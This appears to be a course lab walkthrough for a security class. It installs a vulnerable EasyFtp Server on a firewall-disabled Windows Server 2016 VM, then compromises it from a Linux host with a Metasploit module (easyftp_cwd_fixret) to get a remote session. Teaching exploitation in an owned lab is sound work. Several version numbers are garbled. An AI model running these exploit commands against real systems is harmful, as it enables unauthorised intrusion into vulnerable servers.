Log in to Google, and you should see your Google Cloud Platform Console.
On the left side, click "Compute Engine".
You should have a Windows server and a Linux server, as shown below.
If you don't have that file, you can dowload another one by clicking RDP in your Google Cloud Platform Console.
In the Search results, click "Windows Firewall", the second result in the image below.
In the Windows Firewall box, on the left side, click "Turn Windows Firewall on or off".
Check both of the boxes labelled "Turn off Windows Firewall (not recommended)", as shown below.
On your host system, click the link below to download EasyFtp Server 220.127.116.11
easyftp-server-18.104.22.168-en.zipDrag the downloaded file onto your Windows Server 2016 desktop and drop it there.
On your Windows Server 2016 desktop, right-click easyftp-server-22.214.171.124-en.zip. Click "Extract All...". Click Extract.
In the "easyftp-server-126.96.36.199-en" window, double-click the folder.
There are two items in the folder, as shown below.
A blue window opens, as shown below.
At the top left of this window, click the gear icon.
A box pops up. At the top, check the "Bind IP" box and select your IP address, as shown below.
At the bottom, click Ok.
A "Restart Service" box pops up, as shown below. Click Yes.
TroubleshootingIf the service won't start, a broken version may be already installed. Execute this command to delete the broken service:
sc delete easyftpbasicsvr
You should see a "Welcome to my ftp server" banner, as shown below. If you don't, perform the Troubleshooting steps in the box below.
nc 10.142.0.2 21
TroubleshootingIn the ftpconsole window, click Service, Stop, as shown below. Then click the green arrow to restart the service.
A list of easyftp exploits appears, as shown below.
msfconsole -q search easyftp
The options required for this exploit are listed. The only required option is RHOST, as shown below,
use exploit/windows/ftp/easyftp_cwd_fixret show options
At the msf > prompt, execute this command:
The targets are listed. We are using the latest version, Id 9, as shown below,
Find the Architecture, which is covered by a green box in the image below. Enter it into the form below.
set RHOST 10.142.0.2 set TARGET 9 exploit sysinfo
If you don't have a Canvas account, see the instructions here.
Answer changed to Architecture 9-10-18